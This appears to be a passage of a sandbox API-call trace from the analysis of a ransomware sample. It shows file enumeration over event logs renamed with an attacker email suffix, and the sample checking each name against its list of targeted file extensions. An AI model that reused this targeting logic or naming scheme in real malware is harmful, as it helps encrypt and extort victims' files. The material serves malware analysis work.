	[0167.442] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8778251d, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8778251d, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x877a87c1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11140, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI35BB~1.HTM")) returned 1
	[0167.442] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x877a87c1, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x877a87c1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87cdf798, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11138, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI50FB~1.HTM")) returned 1
	[0167.442] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x877f4b4a, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x877f4b4a, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87d9e4f2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x111144, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI2A25~1.HTM")) returned 1
	[0167.442] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87840ff0, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x87840ff0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x87840ff0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11148, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI522C~1.HTM")) returned 1
	[0167.443] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html") returned 90
	[0167.443] lstrlenW (lpString=".1cd") returned 4
	[0167.443] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0167.443] lstrlenW (lpString=".3ds") returned 4
	[0167.443] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0167.443] lstrlenW (lpString=".3fr") returned 4
	[0167.443] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0167.443] lstrlenW (lpString=".3g2") returned 4
	[0167.443] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0167.443] lstrlenW (lpString=".3gp") returned 4
	[0167.443] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0167.443] lstrlenW (lpString=".7z") returned 3
	[0167.443] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0167.443] lstrlenW (lpString=".accda") returned 6
	[0167.443] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0167.443] lstrlenW (lpString=".accdb") returned 6
	[0167.443] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0167.443] lstrlenW (lpString=".accdc") returned 6
	[0167.443] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0167.443] lstrlenW (lpString=".accde") returned 6
	[0167.443] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0167.443] lstrlenW (lpString=".accdt") returned 6
	[0167.443] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0167.443] lstrlenW (lpString=".accdw") returned 6
	[0167.443] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0167.444] lstrlenW (lpString=".adb") returned 4
	[0167.444] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0167.444] lstrlenW (lpString=".adp") returned 4
	[0167.444] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0167.444] lstrlenW (lpString=".ai") returned 3
	[0167.444] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0167.444] lstrlenW (lpString=".ai3") returned 4
	[0167.444] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0167.444] lstrlenW (lpString=".ai4") returned 4
	[0167.444] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0167.444] lstrlenW (lpString=".ai5") returned 4
	[0167.444] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0167.444] lstrlenW (lpString=".ai6") returned 4
	[0167.444] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0167.444] lstrlenW (lpString=".ai7") returned 4
	[0167.444] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0167.444] lstrlenW (lpString=".ai8") returned 4
	[0167.444] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0167.444] lstrlenW (lpString=".anim") returned 5
	[0167.444] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0167.444] lstrlenW (lpString=".arw") returned 4
	[0167.444] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0167.444] lstrlenW (lpString=".as") returned 3
	[0167.444] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0167.444] lstrlenW (lpString=".asa") returned 4
	[0167.444] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0167.444] lstrlenW (lpString=".asc") returned 4
	[0167.444] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0167.444] lstrlenW (lpString=".ascx") returned 5
	[0167.444] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0167.444] lstrlenW (lpString=".asm") returned 4
	[0167.444] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0167.444] lstrlenW (lpString=".asmx") returned 5
	[0167.445] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0167.445] lstrlenW (lpString=".asp") returned 4
	[0167.445] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0167.445] lstrlenW (lpString=".aspx") returned 5
	[0167.445] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0167.445] lstrlenW (lpString=".asr") returned 4
	[0167.445] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0167.445] lstrlenW (lpString=".asx") returned 4
	[0167.445] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0167.445] lstrlenW (lpString=".avi") returned 4
	[0167.445] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0167.445] lstrlenW (lpString=".avs") returned 4
	[0167.445] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0167.445] lstrlenW (lpString=".backup") returned 7
	[0167.445] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0167.445] lstrlenW (lpString=".bak") returned 4
	[0167.445] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0167.445] lstrlenW (lpString=".bay") returned 4
	[0167.445] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0167.445] lstrlenW (lpString=".bd") returned 3
	[0167.445] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0167.445] lstrlenW (lpString=".bin") returned 4
	[0167.445] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0167.445] lstrlenW (lpString=".bmp") returned 4
	[0167.445] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0167.445] lstrlenW (lpString=".bz2") returned 4
	[0167.445] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0167.445] lstrlenW (lpString=".c") returned 2
	[0167.445] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0167.445] lstrlenW (lpString=".cdr") returned 4
	[0167.445] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0167.445] lstrlenW (lpString=".cer") returned 4
	[0167.445] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0167.446] lstrlenW (lpString=".cf") returned 3
	[0167.446] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0167.446] lstrlenW (lpString=".cfc") returned 4
	[0167.446] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0167.446] lstrlenW (lpString=".cfm") returned 4
	[0167.446] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0167.446] lstrlenW (lpString=".cfml") returned 5
	[0167.446] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0167.446] lstrlenW (lpString=".cfu") returned 4
	[0167.446] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0167.446] lstrlenW (lpString=".chm") returned 4
	[0167.446] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0167.446] lstrlenW (lpString=".cin") returned 4
	[0167.446] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0167.446] lstrlenW (lpString=".class") returned 6
	[0167.446] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0167.446] lstrlenW (lpString=".clx") returned 4
	[0167.446] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0167.446] lstrlenW (lpString=".config") returned 7
	[0167.446] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0167.446] lstrlenW (lpString=".cpp") returned 4
	[0167.446] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0167.446] lstrlenW (lpString=".cr2") returned 4
	[0167.446] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0167.446] lstrlenW (lpString=".crt") returned 4
	[0167.446] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0167.446] lstrlenW (lpString=".crw") returned 4
	[0167.446] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0167.446] lstrlenW (lpString=".cs") returned 3
	[0167.446] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0167.446] lstrlenW (lpString=".css") returned 4
	[0167.446] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0167.446] lstrlenW (lpString=".csv") returned 4
	[0167.446] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0167.447] lstrlenW (lpString=".cub") returned 4
	[0167.447] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0167.447] lstrlenW (lpString=".dae") returned 4
	[0167.447] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0167.447] lstrlenW (lpString=".dat") returned 4
	[0167.447] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0167.447] lstrlenW (lpString=".db") returned 3
	[0167.447] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0167.447] lstrlenW (lpString=".dbf") returned 4
	[0167.447] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0167.447] lstrlenW (lpString=".dbx") returned 4
	[0167.447] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0167.447] lstrlenW (lpString=".dc3") returned 4
	[0167.447] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0167.447] lstrlenW (lpString=".dcm") returned 4
	[0167.447] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0167.447] lstrlenW (lpString=".dcr") returned 4
	[0167.447] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0167.447] lstrlenW (lpString=".der") returned 4
	[0167.447] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0167.447] lstrlenW (lpString=".dib") returned 4
	[0167.447] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0167.447] lstrlenW (lpString=".dic") returned 4
	[0167.447] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0167.447] lstrlenW (lpString=".dif") returned 4
	[0167.447] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0167.447] lstrlenW (lpString=".divx") returned 5
	[0167.447] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0167.447] lstrlenW (lpString=".djvu") returned 5
	[0167.447] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0167.447] lstrlenW (lpString=".dng") returned 4
	[0167.447] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0167.447] lstrlenW (lpString=".doc") returned 4
	[0167.448] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0167.448] lstrlenW (lpString=".docm") returned 5
	[0167.448] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0167.448] lstrlenW (lpString=".docx") returned 5
	[0167.448] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0167.448] lstrlenW (lpString=".dot") returned 4
	[0167.448] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0167.448] lstrlenW (lpString=".dotm") returned 5
	[0167.448] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0167.448] lstrlenW (lpString=".dotx") returned 5
	[0167.448] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0167.448] lstrlenW (lpString=".dpx") returned 4
	[0167.448] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0167.448] lstrlenW (lpString=".dqy") returned 4
	[0167.448] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0167.448] lstrlenW (lpString=".dsn") returned 4
	[0167.448] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0167.448] lstrlenW (lpString=".dt") returned 3
	[0167.448] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0167.448] lstrlenW (lpString=".dtd") returned 4
	[0167.448] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0167.448] lstrlenW (lpString=".dwg") returned 4
	[0167.448] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0167.448] lstrlenW (lpString=".dwt") returned 4
	[0167.448] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0167.448] lstrlenW (lpString=".dx") returned 3
	[0167.448] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0167.448] lstrlenW (lpString=".dxf") returned 4
	[0167.448] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0167.448] lstrlenW (lpString=".edml") returned 5
	[0167.448] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0167.448] lstrlenW (lpString=".efd") returned 4
	[0167.449] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0167.449] lstrlenW (lpString=".elf") returned 4
	[0167.449] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0167.449] lstrlenW (lpString=".emf") returned 4
	[0167.449] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0167.449] lstrlenW (lpString=".emz") returned 4
	[0167.449] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0167.449] lstrlenW (lpString=".epf") returned 4
	[0167.449] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0167.449] lstrlenW (lpString=".eps") returned 4
	[0167.449] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0167.449] lstrlenW (lpString=".epsf") returned 5
	[0167.449] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0167.449] lstrlenW (lpString=".epsp") returned 5
	[0167.449] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0167.449] lstrlenW (lpString=".erf") returned 4
	[0167.449] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0167.449] lstrlenW (lpString=".exr") returned 4
	[0167.449] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0167.449] lstrlenW (lpString=".f4v") returned 4
	[0167.449] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0167.449] lstrlenW (lpString=".fido") returned 5
	[0167.449] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0167.449] lstrlenW (lpString=".flm") returned 4
	[0167.449] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0167.449] lstrlenW (lpString=".flv") returned 4
	[0167.449] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0167.450] lstrlenW (lpString=".frm") returned 4
	[0167.450] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0167.450] lstrlenW (lpString=".fxg") returned 4
	[0167.450] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0167.450] lstrlenW (lpString=".geo") returned 4
	[0167.450] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0167.450] lstrlenW (lpString=".gif") returned 4
	[0167.450] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0167.450] lstrlenW (lpString=".grs") returned 4
	[0167.450] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0167.450] lstrlenW (lpString=".gz") returned 3
	[0167.450] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0167.450] lstrlenW (lpString=".h") returned 2
	[0167.450] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0167.450] lstrlenW (lpString=".hdr") returned 4
	[0167.450] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0167.450] lstrlenW (lpString=".hpp") returned 4
	[0167.450] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0167.450] lstrlenW (lpString=".hta") returned 4
	[0167.450] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0167.450] lstrlenW (lpString=".htc") returned 4
	[0167.450] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0167.450] lstrlenW (lpString=".htm") returned 4
	[0167.450] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0167.450] lstrlenW (lpString=".html") returned 5
	[0167.450] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0167.450] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html") returned 90
	[0167.451] lstrlenW (lpString=".html") returned 5
	[0167.451] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0167.451] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x885fa707, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2d115c, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MI0B0C~1.HTM")) returned 1
	[0167.451] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html") returned 96
	[0167.451] lstrlenW (lpString=".1cd") returned 4
	[0167.451] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0167.451] lstrlenW (lpString=".3ds") returned 4
	[0167.451] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0167.451] lstrlenW (lpString=".3fr") returned 4
	[0167.451] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0167.451] lstrlenW (lpString=".3g2") returned 4
	[0167.451] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0167.451] lstrlenW (lpString=".3gp") returned 4
	[0167.451] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0167.451] lstrlenW (lpString=".7z") returned 3
	[0167.451] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0167.451] lstrlenW (lpString=".accda") returned 6
	[0167.451] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0167.451] lstrlenW (lpString=".accdb") returned 6
	[0167.451] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0167.451] lstrlenW (lpString=".accdc") returned 6
	[0167.451] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0167.451] lstrlenW (lpString=".accde") returned 6
	[0167.451] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0167.451] lstrlenW (lpString=".accdt") returned 6
	[0167.451] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0167.451] lstrlenW (lpString=".accdw") returned 6
	[0167.451] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0167.452] lstrlenW (lpString=".adb") returned 4
	[0167.452] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0167.452] lstrlenW (lpString=".adp") returned 4
	[0167.452] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0167.452] lstrlenW (lpString=".ai") returned 3
	[0167.452] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0167.452] lstrlenW (lpString=".ai3") returned 4
	[0167.452] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0167.452] lstrlenW (lpString=".ai4") returned 4
	[0167.452] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0167.452] lstrlenW (lpString=".ai5") returned 4
	[0167.452] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0167.452] lstrlenW (lpString=".ai6") returned 4
	[0167.452] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0167.452] lstrlenW (lpString=".ai7") returned 4
	[0167.452] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0167.452] lstrlenW (lpString=".ai8") returned 4
	[0167.452] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0167.452] lstrlenW (lpString=".anim") returned 5
	[0167.452] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0167.452] lstrlenW (lpString=".arw") returned 4
	[0167.452] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0167.452] lstrlenW (lpString=".as") returned 3
	[0167.452] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0167.452] lstrlenW (lpString=".asa") returned 4
	[0167.452] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0167.452] lstrlenW (lpString=".asc") returned 4
	[0167.452] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0167.452] lstrlenW (lpString=".ascx") returned 5
	[0167.452] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0167.452] lstrlenW (lpString=".asm") returned 4
	[0167.452] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0167.452] lstrlenW (lpString=".asmx") returned 5
	[0167.452] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0167.453] lstrlenW (lpString=".asp") returned 4
	[0167.453] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0167.453] lstrlenW (lpString=".aspx") returned 5
	[0167.453] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0167.453] lstrlenW (lpString=".asr") returned 4
	[0167.453] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0167.453] lstrlenW (lpString=".asx") returned 4
	[0167.453] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0167.453] lstrlenW (lpString=".avi") returned 4
	[0167.453] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0167.453] lstrlenW (lpString=".avs") returned 4
	[0167.453] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0167.453] lstrlenW (lpString=".backup") returned 7
	[0167.453] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0167.453] lstrlenW (lpString=".bak") returned 4
	[0167.453] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0167.453] lstrlenW (lpString=".bay") returned 4
	[0167.453] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0167.453] lstrlenW (lpString=".bd") returned 3
	[0167.453] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0167.453] lstrlenW (lpString=".bin") returned 4
	[0167.453] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0167.453] lstrlenW (lpString=".bmp") returned 4
	[0167.453] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0167.453] lstrlenW (lpString=".bz2") returned 4
	[0167.453] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0167.453] lstrlenW (lpString=".c") returned 2
	[0167.453] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0167.453] lstrlenW (lpString=".cdr") returned 4
	[0167.454] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0167.454] lstrlenW (lpString=".cer") returned 4
	[0167.454] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0167.454] lstrlenW (lpString=".cf") returned 3
	[0167.454] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0167.454] lstrlenW (lpString=".cfc") returned 4
	[0167.454] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0167.454] lstrlenW (lpString=".cfm") returned 4
	[0167.454] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0167.454] lstrlenW (lpString=".cfml") returned 5
	[0167.454] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0167.454] lstrlenW (lpString=".cfu") returned 4
	[0167.454] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0167.454] lstrlenW (lpString=".chm") returned 4
	[0167.454] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0167.454] lstrlenW (lpString=".cin") returned 4
	[0167.454] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0167.454] lstrlenW (lpString=".class") returned 6
	[0167.454] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0167.454] lstrlenW (lpString=".clx") returned 4
	[0167.454] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0167.454] lstrlenW (lpString=".config") returned 7
	[0167.454] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0167.454] lstrlenW (lpString=".cpp") returned 4
	[0167.454] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0167.454] lstrlenW (lpString=".cr2") returned 4
	[0167.454] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".crt") returned 4
	[0167.455] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".crw") returned 4
	[0167.455] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".cs") returned 3
	[0167.455] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0167.455] lstrlenW (lpString=".css") returned 4
	[0167.455] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".csv") returned 4
	[0167.455] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".cub") returned 4
	[0167.455] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".dae") returned 4
	[0167.455] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".dat") returned 4
	[0167.455] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".db") returned 3
	[0167.455] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0167.455] lstrlenW (lpString=".dbf") returned 4
	[0167.455] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".dbx") returned 4
	[0167.455] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".dc3") returned 4
	[0167.455] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".dcm") returned 4
	[0167.455] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".dcr") returned 4
	[0167.455] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".der") returned 4
	[0167.455] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".dib") returned 4
	[0167.455] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0167.455] lstrlenW (lpString=".dic") returned 4
	[0167.456] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0167.456] lstrlenW (lpString=".dif") returned 4
	[0167.456] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0167.456] lstrlenW (lpString=".divx") returned 5
	[0167.456] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0167.456] lstrlenW (lpString=".djvu") returned 5
	[0167.456] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
